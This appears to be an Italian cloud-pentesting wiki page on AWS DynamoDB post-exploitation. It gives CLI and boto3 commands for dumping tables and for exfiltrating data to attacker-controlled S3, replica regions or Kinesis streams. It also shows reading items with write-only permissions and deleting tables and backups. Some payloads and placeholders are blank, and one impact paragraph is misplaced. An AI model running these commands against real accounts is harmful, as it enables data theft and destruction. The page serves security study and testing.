# AWS - DynamoDB Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Per maggiori informazioni consulta: {{#ref}} ../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` Un attaccante con questo permesso sarà in grado di **ottenere item dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (`describe-table`). {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella ### `dynamodb:GetItem` **Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria dell'elemento da recuperare: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` Con questo permesso è anche possibile usare il metodo **`transact-get-items`** come: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella ### `dynamodb:Query` **Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere valori da una sola tabella dato il primary key della voce da recuperare. Permette di usare un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con il primary key (che deve essere presente) è "EQ", quindi non è possibile usare un confronto per ottenere l'intero DB in una singola richiesta. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella ### `dynamodb:Scan` Puoi usare questa autorizzazione per **dump dell'intera tabella con facilità**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Impatto potenziale:** privesc indiretto localizzando informazioni sensibili nella tabella ### `dynamodb:PartiQLSelect` Puoi usare questo permesso per **dump dell'intera tabella facilmente**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` Questa permission consente anche di eseguire `batch-execute-statement` come: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` ma devi specificare la chiave primaria con un valore, quindi non è molto utile. **Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` Questo permesso permetterà a un attaccante di **esportare l'intera tabella in un S3 bucket** di sua scelta: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` Nota che perché questo funzioni, la tabella deve avere abilitato point-in-time-recovery; puoi verificare se la tabella lo ha con: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` Se non è abilitato, dovrai **abilitarlo** e per farlo hai bisogno della **`dynamodb:ExportTableToPointInTime`** autorizzazione: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` Con queste autorizzazioni, un attacker sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che p**otrebbero non essere più nella tabella di produzione**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **Impatto potenziale:** privesc indiretto reperendo informazioni sensibili nel backup della tabella ### `dynamodb:PutItem` Questa autorizzazione permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se un item con la stessa chiave primaria esiste già, **l'intero item sarà sostituito** con il nuovo item. Se la chiave primaria non esiste, un nuovo item con la chiave primaria specificata sarà **creato**. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:UpdateItem` Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la primary key non esiste nella tabella, l'operazione **creerà un nuovo item** con la primary key specificata e imposterà gli attributi specificati nell'update expression. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses consentendo di aggiungere/modificare dati in una tabella DynamoDB ### `dynamodb:DeleteTable` Un attacker con questa autorizzazione può **cancellare una tabella DynamoDB, causando perdita di dati**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **Potential impact**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata. ### `dynamodb:DeleteBackup` Un attaccante con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di ripristino dopo un disastro**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Potential impact**: Perdita di dati e incapacità di recuperare da un backup durante uno scenario di disaster recovery. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Verificare se questo funziona effettivamente Un attacker con queste autorizzazioni può **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Questo consente all'attacker di monitorare ed exfiltrate le modifiche ai dati, potenzialmente causando data leakage. 1. Abilitare uno stream su una tabella DynamoDB: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. Descrivi lo stream per ottenere l'ARN e altri dettagli: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. Ottieni lo shard iterator usando lo stream ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` 4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB. ### Leggere elementi tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD` Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere gli elementi senza nessuno dei consueti permessi di lettura (`GetItem`/`Query`/`Scan`) eseguendo un update benigno e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa pre-update dell'item nel campo `Attributes` della risposta (questo non consuma RCUs). - Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target. - Prerequisiti: Devi conoscere la chiave primaria dell'item. Esempio (aggiunge un attributo innocuo e exfiltrates l'item precedente nella risposta): ```bash aws dynamodb update-item \ --table-name \ --key '{"":{"S":""}}' \ --update-expression 'SET #m = :v' \ --expression-attribute-names '{"#m":"exfil_marker"}' \ --expression-attribute-values '{":v":{"S":"1"}}' \ --return-values ALL_OLD \ --region ``` La risposta della CLI includerà un blocco `Attributes` contenente l'intero elemento precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso solo in scrittura. **Impatto potenziale:** Leggere elementi arbitrari da una tabella avendo solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (version 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, da cui l'attacker può leggere tutti gli elementi. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} ```bash # Add a new replica Region (from primary Region) aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": ""}}]' \ --region # Wait until the replica table becomes ACTIVE in the replica Region aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' # Exfiltrate by reading from the replica Region aws dynamodb scan --table-name --region ``` {{#endtab }} {{#tab name="PoC (customer-managed KMS)" }} ```bash # Specify the CMK to use in the replica Region aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ --region ``` {{#endtab }} {{#endtabs }} Autorizzazioni: `dynamodb:UpdateTable` (con `replica-updates`) oppure `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se nella replica viene usata una CMK, potrebbero essere necessarie autorizzazioni KMS per quella chiave. Impatto potenziale: replica dell'intera tabella in una regione controllata dall'attaccante, permettendo un'esfiltrazione furtiva di dati. ### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che provoca intenzionalmente il fallimento di una `ConditionExpression` impostando contemporaneamente `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nelle ragioni di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} ```bash # Create the transaction input (list form for --transact-items) cat > /tmp/tx_items.json << 'JSON' [ { "Update": { "TableName": "", "Key": {"": {"S": ""}}, "UpdateExpression": "SET #m = :v", "ExpressionAttributeNames": {"#m": "marker"}, "ExpressionAttributeValues": {":v": {"S": "x"}}, "ConditionExpression": "attribute_not_exists()", "ReturnValuesOnConditionCheckFailure": "ALL_OLD" } } ] JSON # Execute. Newer AWS CLI versions support returning cancellation reasons aws dynamodb transact-write-items \ --transact-items file:///tmp/tx_items.json \ --region \ --return-cancellation-reasons # The command fails with TransactionCanceledException; parse cancellationReasons[0].Item ``` {{#endtab }} {{#tab name="PoC (boto3)" }} ```python import boto3 c=boto3.client('dynamodb',region_name='') try: c.transact_write_items(TransactItems=[{ 'Update': { 'TableName':'', 'Key':{'':{'S':''}}, 'UpdateExpression':'SET #m = :v', 'ExpressionAttributeNames':{'#m':'marker'}, 'ExpressionAttributeValues':{':v':{'S':'x'}}, 'ConditionExpression':'attribute_not_exists()', 'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) except c.exceptions.TransactionCanceledException as e: print(e.response['CancellationReasons'][0]['Item']) ``` {{#endtab }} {{#endtabs }} Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura. Impatto potenziale: leggere item arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` su GSI Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi effettuare una `Query` sull'indice per recuperare gli item completi. Funziona anche se `Query`/`Scan` sulla tabella base sono negati, purché sia possibile interrogare l'ARN dell'indice. - Permessi minimi: - `dynamodb:UpdateTable` sulla tabella target (per creare la GSI con `ProjectionType=ALL`). - `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item). - `dynamodb:Query` sull'index resource ARN (`arn:aws:dynamodb:::table//index/`). Passaggi (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 for i in 1 2 3 4 5; do \ aws dynamodb put-item --table-name HTXIdx \ --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ --region us-east-1; done # 2) Add GSI on attribute X with ProjectionType=ALL aws dynamodb update-table --table-name HTXIdx \ --attribute-definitions AttributeName=X,AttributeType=S \ --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ --region us-east-1 # Wait for index to become ACTIVE aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' # 3) Set X="dump" for each item (only UpdateItem on known keys) for i in 1 2 3 4 5; do \ aws dynamodb update-item --table-name HTXIdx \ --key "{\"id\":{\"S\":\"$i\"}}" \ --update-expression 'SET #x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1; done # 4) Query the index by the constant value to retrieve full items aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --key-condition-expression '#x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` **Impatto potenziale:** Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate. ### `dynamodb:EnableKinesisStreamingDestination` (Exfiltrazione continua via Kinesis Data Streams) Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in tempo quasi reale allo stream senza necessità di permessi di lettura sulla tabella. Permessi minimi (attaccante): - `dynamodb:EnableKinesisStreamingDestination` sulla tabella target - Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato - Permessi di lettura sul Kinesis stream di proprietà dell'attaccante per consumare i record: `kinesis:*`
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}} # 2) Create attacker Kinesis Data Stream aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 # 3) Enable the DynamoDB -> Kinesis streaming destination STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 # Optionally wait until ACTIVE aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus # 4) Generate changes on the table aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item2.json --region us-east-1 # /tmp/htx_item2.json # {"id":{"S":"a2"},"secret":{"S":"s-2"}} aws dynamodb update-item --table-name HTXKStream \ --key file:///tmp/htx_key_a1.json \ --update-expression "SET #i = :v" \ --expression-attribute-names {#i:info} \ --expression-attribute-values {:v:{S:updated}} \ --region us-east-1 # /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} # 5) Consume from Kinesis to observe DynamoDB images SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ --query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json # Decode one record (Data is base64-encoded) jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . # 6) Cleanup (recommended) aws dynamodb disable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` ### `dynamodb:UpdateTimeToLive` Un attacker con il permesso dynamodb:UpdateTimeToLive può modificare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, gli items che contengono l'attributo TTL configurato vengono automaticamente eliminati una volta raggiunto il loro tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni item; gli items privi di quell'attributo non sono interessati dall'eliminazione basata su TTL. Se gli items non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli items (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e scatenare eliminazioni di massa. Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza: ```bash aws dynamodb update-time-to-live \ --table-name \ --time-to-live-specification "Enabled=true, AttributeName=" ``` Quindi aggiorna gli items per aggiungere l'attributo TTL (epoch seconds) in modo che scadano e vengano rimossi: ```bash aws dynamodb update-item \ --table-name \ --key '' \ --update-expression "SET = :t" \ --expression-attribute-values '{":t":{"N":""}}' ``` ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` Un attaccante con le autorizzazioni dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per esfiltrare informazioni storiche o ottenere un dump completo dello stato passato del database. Ripristinare una tabella DynamoDB da un backup on-demand: ```bash aws dynamodb restore-table-from-backup \ --target-table-name \ --backup-arn ``` Ripristinare una tabella DynamoDB a un punto nel tempo (creare una nuova tabella con lo stato ripristinato): ```bash aws dynamodb restore-table-to-point-in-time \ --source-table-name \ --target-table-name \ --use-latest-restorable-time ````
**Impatto potenziale:** Esfiltrazione continua, quasi in tempo reale, delle modifiche della tabella verso un attacker-controlled Kinesis stream senza operazioni di lettura dirette sulla tabella. {{#include ../../../../banners/hacktricks-training.md}}